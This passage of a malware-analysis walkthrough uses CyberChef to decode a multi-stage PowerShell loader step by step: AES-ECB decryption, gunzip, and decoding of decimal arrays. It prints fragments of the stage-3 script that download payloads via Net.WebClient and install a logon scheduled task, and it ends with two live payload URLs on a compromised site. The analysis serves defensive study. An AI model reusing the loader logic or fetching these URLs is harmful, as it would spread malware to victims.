Operation 11 - Extracting Initialization Vector

The first 16 bytes of the current data form the initialization vector for the AES decryption.

We can extract this using another Register operation and specifiying . {16} to grab the first 16 characters from the current blob of data.

Particu	<u>о</u> н	Output 🕓	ft C
Register	Q II	<u>^^^^^§</u> Us%3%kIBR,•F<ó×ú^•?É•0¥•Ø>•ý•b>ØÃ	•• ` \ß•~=ô ` \
Extractor		výäó,•@}c1xUL'BAè*)1®Đ•É®Ùií8•×a:2f•,Ùj•OÁì¥Ó*iö•jF*]z *O•@•:¤*x>X®3%Ê® ¢*.•%·éÇ®•Ý	
(.{16})	Case insensitive	/9ùôî1!ig¦'\`+0Ö û:J•ľ¢`Q•±µV•ĐÙ+`Q.IQ`'rëót&Ç*•ä+L+Þ8•`Bf\±å\U~éA _26	
		D#L+0.5En~@++11+22*a0p1A+1v07*14040+3{*1542*4+0+00**57*1440*587*1+AA+[K+84]N+01*+E4]&a000A	e%
Multiline matching	Dot matches all	9è-CçOpÅÜ=ª•\YL¿Õ'gwI6-•Õ•u•uü; 'éýXà-Ò'•öÖ'6'\k¥HC\>bûkô•iT28W\±`îZØ\-æ\¢eyJXÚ\æîô"^; ݶ+UÒ[7: [Éé••"	'ÓK±É <mark>'s</mark>
		s`@Oo_ñöBÛ•±ñdâaùÄ•¼^\æ F•\<[•\••eÝ•\ *MÁ•••ê¾ñ,ºD18•Qä@áú áðÅ~\ &of(\\A¦\•aû§ÒרÆö\!Ä×/\.•ÚïAákè	•éùÕ2g•
\$R2 = \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\		@ráõ ^s ³ P\N0•~+õÄ\\h@Ç\ý5ãq!¿v\¢•M<»Áq{\%\AËÔ\qP)¦!&/dÖוübLOG\j\!•PÑÚ•Ó\x\•¦\\aò`•£\x+Ö•é/Éi7x	sƕWB핕"
		•%iiE S' ³ Ié [°] übü'J•RqX>½ªÊE•••nW#«¶?•jÜù×¼&'kĚMNOÞ•XvmOñQ¤»UFO®II4Ic•¹¼v¿•AñAI¹¼¥%Ç• •ôBùà•s,•󕤼h	• ª , '
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We know that these bytes are the IV, due to this code in the original script.

Note how the first 16 bytes are taken after base64 decoding, and then this is set to the IV.



Operation 12 - Dropping the Initial 16 Bytes

The initial 16 bytes are ignored when the actual AES decryption process takes place.

Hence we need to remove them by using a Drop Bytes Operation with a length of 16.

D	rop bytes 🔗 🔢					⊘ 11	Output
	Start Ø	Lenath 16			Apply to	each line	<pre> ä•q\hXÛüäËM=\.+Ê\kÂF•Ù•H÷Ôz;\ø9\vL\•R\\@{\`\\$Ü\$X3\kIBR,•F<óxú^•?É•@¥•Ø>\ \)¹®D•É@Uií8•×a:²f•,Ùj•OÁì¥Ó\ïö•jF\]z \@•@•:H\>X83\Ê®</pre>
A	ES Decrypt					⊘ 11	<pre>.>\ÜÈË^\\%O••ê\&.È`}di•#Z\•Cý•om±GäÂC*Ô\•_3iJU^éÏ\\T\ü¦µúÔiÑ95D,7`w=/••_[9è.CcOpÅÜ=ª•\YοÕ`gwI6-•Õ•u•uü;\eý%à-Ò\•oÖ\6\k¥HC\Þûkô•iT28W\±\îZØ\-æ\¢éy</pre>
	^{Kev} \$R1		BASE64 🔻	IV \$R2		UTF8 🔻	s ©Oo_nöBU+±ndāaùA+%^^æ F+\<[+\++eY+\ *MA+++eXin,°D18+Qā@àù àðA~',&of(\^\A¦ @ráõ ² \³P\N0+-+öÄ\\h@C\ý5ãq!¿v\¢+M<>Äq{\%'AËÔ\qP)¦!&/dÖ×+übLOG\j\!+PÑÚ+(*%iiÈ S\3]é°übü\J+RqX>%ªèÈ+++nW#«¶?+jÛù×\ <u>&</u> \ëMNÔb+XvmòñO¤»ÚFO®ÎI4Íc+\\v?+Ä
	Mode		Input		Output		Fā»Fsì•Ö"zÁ•ñðH ⁻ Á ¹ 2R ^o ú ¹ S

We know this is the case because the script begins the decryption from an offset of 16 from the data.



This can be confirmed with the official documentation for TransformFinalBlock.



Operation 13 - AES Decryption

Now that the Key and IV for the AES Decryption have been extracted and stored in registers, we can go ahead and apply an AES Decrypt operation.

Note how we can access our key and IV via the \$R1 and \$R2 registers that were previously created. We do not need to specify a key here.

(Also note that we do need to specify base64 and utf8 for the key and IV respectively, as these were their formats at the time where we extracted them)

AES Decrypt				⊘ 11		Output 🎉	
Kev \$R1	BASE64 🕶	IV \$R2		UTF8 🔻		<pre>\% • \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$</pre>	
Mode ECB	Input Raw		Output Raw			ÅÖ•%***!ß!´É*•ÇÄ_Ät ~• à×nÄ•ë*[KnFÌÝú<ÉãÍ•*,Û*Å*i53 üa¶•mû}«ÙmāÒÿ••-•NCßu¥µ%•=å×ו^K!j5ú2*Qw•ïC*•°ñbÆb• u óX%••R±*óX:*,Õ• *´in•*ó}20æy*Q/áÀÜÀ46ñ*sg••®èðnðâ*••Ç	
Find / Replace				0 1	I	<pre>@g®PÇbVË•-%k§i%O¶P%Ìò••Çòu\#ù\\u+\1\$•ü&f-§uTK~#\@YSªg wò^[•fïm×`•j••³\mans\0]S•ê7u¢FÿÚ¥¥it`•_Qñ³5¢ ôò\ ⁰òhŨõ®]\0]G\U%«²T6Å¥[±ïwô³ëu´pJ•¢•ô¢ÇF• z,•éúÏû•T\STJ</pre>	
Find	REGEX -	Replace					

We can also note that ECB mode was chosen, as this is the mode specified in the script.

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6	<pre>\$GDJXGNY = New-Object 'System.Security.Cryptography.AesManaged';</pre>
7	
8	<pre>\$GDJXGNY.Mode = [System.Security.Cryptography.CipherMode]::ECB;</pre>
9	<pre>\$GDJXGNY.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;</pre>
10	<pre>\$GDJXGNY.BlockSize = 128;</pre>
11	<pre>\$GDJXGNY.KeySize = 256;</pre>

The current data after AES Decryption is compressed using GZIP.

However, Gunzip fails to execute due to some random nullbytes that are present at the end of the data after AES Decryption.



Operation 14 involves removing these trailing null bytes using a Regular expression for "one or more null bytes \0+ at the end of the data \$"

We will leave the "Replace" value empty as we just want to remove the trailing null bytes.

Find / Replace			\bigcirc	Ш	REC
Find ∖0+\$	REGEX 🕶	Replace			0
🗹 Global mate	:h	Case insensitive			1) "81 ÅÖ
✓ Multiline ma	atching	Dot matches all			óX) ©g
- ·			0		WÔ.

Operation 15 - GZIP Decompression

We can now apply a Gunzip operation to perform the GZIP Decompression.

This will reveal stage 3 of the malicious content, which is another powershell script.

	Multiline matching	Dot matches all	Output <pre>function QtR(\$kBv, \$LMY){[I0.File]::WriteAllBytes(\$kBv, \$LMY)};func</pre>
	Gunzip	⊘ 11	<pre>(\$kBv.EndsWith('.zip') -eq \$True){\$fwef = '\' + (Get-Item \$kBv).Bas \$MeT \$fwef;Expand-Archive -Path \$kBv -DestinationPath \$fghrth; \$Scr (\$ghyth -eq 1){mv -Path \$kBv -Destination \$fghrth; \$kBv = Join-Path (\$ghyth -eq 1){mv -Path \$kBv -Destination \$fghrth; \$kBv = Join-Path (\$ghyth -eq 1){mv -Path \$kBv -Destination \$fghrth; \$kBv = Join-Path (\$ghyth -eq 1){mv -Path \$kBv -Destination \$fghrth; \$kBv = Join-Path (\$ghyth -eq 1){mv -Path \$kBv -Destination \$fghrth; \$kBv = Join-Path (\$ghyth -eq 1){mv -Path \$kBv -Destination \$fghrth; \$kBv = Join-Path (\$ghyth -eq 1){mv -Path \$kBv -Destination \$fghrth; \$kBv = Join-Path (\$ghyth -eq 1){mv -Path \$kBv -Destination \$fghrth; \$kBv = Join-Path (\$ghyth -eq 1){mv -Path \$kBv -Destination \$fghrth; \$kBv = Join-Path (\$ghyth -eq 1){mv -Path \$kBv -Destination \$fghrth; \$kBv = Join-Path (\$ghyth -eq 1){mv -Path \$kBv -Destination \$fghrth; \$kBv = Join-Path (\$ghyth -eq 1){mv -Path \$kBv -Destination \$fghrth; \$kBv = Join-Path (\$ghyth -eq 1){mv -Path \$kBv -Destination \$fghrth; \$kBv = Join-Path (\$ghyth -eq 1){mv -Path \$kBv -Destination \$fghrth; \$kBv = Join-Path (\$ghyth -eq 1){mv -Path \$kBv -Destination \$fghrth; \$kBv = Join-Path (\$ghyth -eq 1){mv -Path \$kBv -Destination \$fghrth; \$kBv = Join-Path (\$ghyth -eq 1){mv -Path \$kBv -Destination \$fghrth; \$kBv = Join-Path (\$ghyth -eq 1){mv -Path \$kBv -Destination \$fghrth; \$kBv = Join-Path \$kBv -Destination \$fghrth; \$kBv = Join-Path \$kBv -Destination \$fghrth; \$fghrth; \$kBv -Destination \$fghrth; \$fghrth</pre>
	Register	0 11	(New-ScheduledTaskAction - Execute \$kBv); \$irigger = New-ScheduledTasi ScheduledTask - TaskName "BackgroundCheck" - Action \$Action - Trigger :
1	Extractor \\$\w+=(\d+);	Case insensitive	<pre>-rorce;start \$kev};;function Wik(\$wx7}{\$PSt = New-Object (wva @(4352,4375,4390,4320,4361,4375,4372,4341,4382,4379,4375,4384,4390) [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocol]</pre>
	Multiline matching	Dot matches all	<pre>\$PSt.DownloadData(\$Wxf);return \$LMY};function wva(\$RSx){\$SHY=4274;\$ \$RSx){\$Ivo+=[char](\$dnH-\$SHY)};return \$Ivo};function tRx(){\$MeT = \$ \$env:AppData;\$OMbNkOp = \$aFMWmHEZ + '\';If(Test-Path -Path \$OMbNkOp</pre>

Note that we know Gzip was used as it is referenced in stage 2 after the AES Decryption process.



Stage 3 - Powershell Script (7 Operations)

We now have a stage 3 powershell script that leverages a very similar technique to stage 1.

The obfuscated data is again stored in large decimal arrays, of which the number 4274 is subtracted from each value.

Note that in this case, there are 4 total arrays of integers.

14	if (\$ghyth -eq 1){mv -Path \$kBv -Destination \$fg	;hrth;						
15	<pre>\$kBv = Join-Path \$fghrth infosecpad.exe};</pre>							
16	<pre>\$Action = (New-ScheduledTaskAction -Execute \$kBv);</pre>							
17	<pre>\$Trigger = New-ScheduledTaskTrigger -AtLogOn;</pre>							
18	Register-ScheduledTask -TaskName "BackgroundCheck" -	Action \$Action -Trigger \$Trigger -R						
19	<pre>Start \$kBv};</pre>							
20	<pre>function WTk(\$Wxf){\$PSt = New-Object (wva (4352,437)</pre>	[,] 5,4390,4320,4361,4375,4372,4341,438						
21	[Net.ServicePointManager]::SecurityProtocol = [Net.S	<pre>GecurityProtocolType]::TLS12;</pre>						
22	<pre>\$LMY = \$PSt.DownloadData(\$Wxf);</pre>							
23	return \$LMY};	Large Decimal Values and subtraction						
24	<pre>function wva(\$RSx) [\$SHY=4274;\$ Ivo=\$Null;</pre>	operation						
25	<pre>foreach(\$dnH in \$RSx){\$Ivo+=[char](\$dnH-\$SHY)};</pre>							
26	return \$Ivo}:							



To Decode stage 3, we must perform the following actions

- Use Registers to Extract The Subtraction Value
- Use Regex to extract the decimal arrays
- Use Forking to Separate the arrays
- Use another Fork to Separate the individual decimal values
- Use a find/replace to append the subtraction value
- Perform the Subtraction
- Restore the text from the resulting ASCII codes

Operation 16 - Extracting The Subtraction Value with Registers

Our first step of stage 3 is to extract out the subtraction value and store it inside of a register.

We can do this by creating another register, and implementing a regular expression to capture the value *\$SHY=4274*. We can specify a dollar sign, followed by characters, followed by equals, followed by integers, followed by a semicolon.

Making sure to apply a capture group (round brackets) to the decimal component, as this is what we want to store and use later.



8
;function sri(\$kBv){if
v).Basename; \$Script:fghrth = Joi ; \$Script:ghyth = 1; del \$kBv}els
n-Path \$fghrth infosecpad.exe};\$A ledTaskTrigger -AtLogOn;Register- igger \$Trigger -RunLevel "Highest
,4390));
4274:\$Ivo=\$Null:foreach(\$dnH in
eT = \$env:AppData + '\';\$aFMWmHEZ MbNkOp){Invoke-Item \$OMbNkOp;}EIs

Operation 17 - Extracting and Isolating the Decimal Arrays

Now that we have the subtraction key, we can go ahead and use a regular expression to isolate the decimal arrays.

Here we have chosen a regex that looks for round brackets containing long sequences of integers and commas (at least 30). The inside of the brackets have been converted to a capture group by adding round brackets without escapes.

We have also selected "List Capture Groups" to list only the captured decimal values and commas.

Regular expression	⊘ 11		Dim RrB RrB = RrB & Chr(QbJ - qqT)	
Built in regexes User defined		REC 10508	F 34	Tr Ra
Regex		Output		D (
			4352,4375,4390,4320,4361,4375,4372,4341,4382,4379,4375,4384,4390 4378,4390,4390,4386,4389,4332,4321,4321 4378,4390,4390,4386,4389,4332,4321,4321,4388,4371,4375,4381,4375,4389,4389,4382,4375,4388,437	,4389,4389,4382,4375,4388,4320,
Case insensitive	nd \$ match at newlines	83,4321, ,4322,43 4378,439	4393,4386,4319,4373,4385,4384,4390,4375,4384,4390,4321,43 24,4325,4321,4322,4326,4321,4358,4388,4371,4384,4373,4376 10,4390,4386,4389,4332,4321,4321,4388,4371,4375,4381,4375,	391,4386,4382,4385,4371,4374,43 3,4320,4396,4379,4386 ,4389,4389,4382,4375,4388,4320,
Dot matches all Unicode	support 🔲 Astral support	83,4321, ,4322,43	4393,4386,4319,4373,4383,4384,4390,4373,4384,4390,4375, 24,4325,4321,4322,4326,4321,4379,4384,4376,4385,4389,4375	191,4386,4382,4385,4371,4374,4320,4375 5,4373,4386,4371,4374,4320,4375
Display total	format apture groups			

Operation 18 - Separating the Arrays With Forking

We can now separate the decimal arrays by applying a fork operation.

The current arrays are separated by a newline, so we can specify this as our split delimiter.

In the interests of readability, we can specify our merge delimiter as a double newline. The double newline does nothing except make the output easier to read.

	Fork				
	Split delimiter \n		Merge delimiter \n\n	Ignore errors	
		0 11	we 10506 ≓ 34	Tr Raw Bytes ←	
Split	t delimiter Merae delimiter Ignore error	s	Output 4352,4375,4390,4320,4361,4375,4372,434 4378,4390,4390,4386,4389,4332,4321,432	1,4382,4379,4375,4384,4390	
Split	t delimiter Merge delimit 🔲 Ignore error	'S	4378,4390,4390,4386,4389,4332,4321,432 83,4321,4393,4386,4319,4373,4385,4384, ,4322,4324,4325,4321,4322,4326,4321,43	1,4388,4371,4375,4381,4375,4389,4389,4382,4375,4388,4320,4373,4385, 4390,4375,4384,4390,4321,4391,4386,4382,4385,4371,4374,4389,4321,43 58,4388,4371,4384,4373,4378,4320,4396,4379,4386	
Find Find	/ Replace *) REGEX • Replace \$1 \$R3	0 11	4378, 6390, 4390, 4380, 4389, 6389, 6332, 4321, 432 83, 4321, 4393, 4386, 4319, 4373, 4385, 4384, , 4322, 4324, 4325, 4321, 4322, 4326, 4321, 43	1,4388,4371,4373,4381,4375,4389,4389,4389,4382,4375,4388,4320,4373,4385, 4390,4375,4384,4390,4321,4391,4386,4382,4385,4371,4374,4389,4321,43 79,4384,4376,4385,4389,4375,4373,4386,4371,4374,4320,4375,4394,4375	

Operation 19 - Separating the Decimal Values With another Fork

Now that we've isolated the arrays, we need to isolate the individual integer values so that we can append the subtraction value.

We can do this with another Fork operation, specifying a comma delimiter (as this is what separates our decimal values) and a merge delimiter of newline. Again, this newline does nothing but improve readability.

		REC 10508 = 34	Tr Raw Bytes ↔ LF
Fork Split delimiter Merge de		Output	
\n \n\n	Ignore errors	4352	^
Fork Split delimiter Merge de ,	S II	4373 4390 4320 4361 4375 4372 4341	
Find / Replace	⊘ Ⅱ	4382 4379	
Find (.*) REGEX -	Replace \$1 \$R3		w double nowline
Global match	Case insensitive	4378 4390 4390	

Operation 20 - Appending Subtraction Values

With the decimal values isolated, we can go ahead and use a previous techniquq to capture each line and append the subtraction key that is currently stored in \$R3.

Here we can see the subtraction key appended to each line containing a decimal value.

			REC 10508 = 34
Find / Replace		○ II	Output
Find (.*) REGEX -	Replace \$1 \$R3		4352 4274
Global match	Case insensitive		4375 4274 4390 4274 4320 4274 4361 4274 4375 4274
	Dot matches an	•	4372 4274 4341 4274 4382 4274
Subtract		0 11	4379 4274 4375 4274
Delimiter Space			4384 4274 4390 4274

Operation 21 - Applying the Subtraction Operation

We can now apply a subtract operation to subtract the value appended in the previous step.

This restores the original ascii charcodes so that we can decode them in the next step.

Global match	Case insensitive		Output	
✓ Multiline matching	Dot matches all		78 101 116 46	
Subtract	0 11	1	87 101	restored.
Delimiter Space			98 67 108	
From Decimal	0 11	h	105 101 110	
Delimiter Space	Support signed values	~	116	

Operation 22 - Decoding the ASCII Codes

With the ASCII codes restored in their original decimal form, we can apply a from decimal operation to restore the original text.

Here we can see the Net.Webclient string, albeit it is spaced out over newlines due to our forking operation.

Global match	Case insensitive	Output
Multiline matching	Dot matches all	N e t
Subtract	⊘ 11	W
Delimiter Space		
	0.1	i
From Decimal	0 1	e
Delimiter Space	Support signed values	t t
STEP	BAKE!	t t

Final Result - Extracting Malicious URL's

Now that the content is decoded, we can go ahead and remove the readability step that we added in Operation 19.

That is, we can remove the Merge Delimter that was added to improve the readability of steps 20 and 21.

Fork	⊘ 11
Split delimiter	Merge delimit 🔲 Ignore errors

With the Merge Delimiter removed, The output of the four decimal arrays will now be displayed.

Find / Replace		0 11	For Each QbJ In yAq Dim RrB RrB = RrB & Chr(QbJ - qqT)	
Find REGEX	Replace \$1 \$R3		Next	
Global match	Case insensitive		Output	
✓ Multiline matching	Dot matches all		Net.WebClient	
Subtract		0 11	https://raekessler.com/wp-content/uploads/2023/04/Tranch.zip	
Delimiter Space			https://raekessler.com/wp-content/uploads/2023/04/infosecpad.exe	
From Decimal		0 11		
Delimiter Space	Support signed value	es		
		_	•	

Video WalkThrough



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